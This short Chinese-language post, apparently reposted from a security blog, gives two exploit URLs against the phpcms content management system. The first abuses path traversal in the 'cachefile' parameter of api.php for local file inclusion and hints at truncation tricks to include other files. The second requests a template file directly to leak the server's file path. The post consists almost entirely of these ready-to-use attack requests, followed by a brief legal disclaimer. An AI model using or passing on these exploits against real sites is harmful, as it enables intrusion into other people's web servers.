Exp: http://www.php0day.com/api.php?op=get_menu&act=ajax_getlist&callback=alert&path=b4dboy&cachefile=../../../fuck

#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧,看你运气了。

Exp: http://www.php0day.com/phpcms/modules/attachment/templates/album_dir.tpl.php?author=b4dboy

#暴路径

注:请遵守国家相关法律,请勿非法入侵,产生任何后果自己负责。

转自:http://www.secoff.net/archives/105.html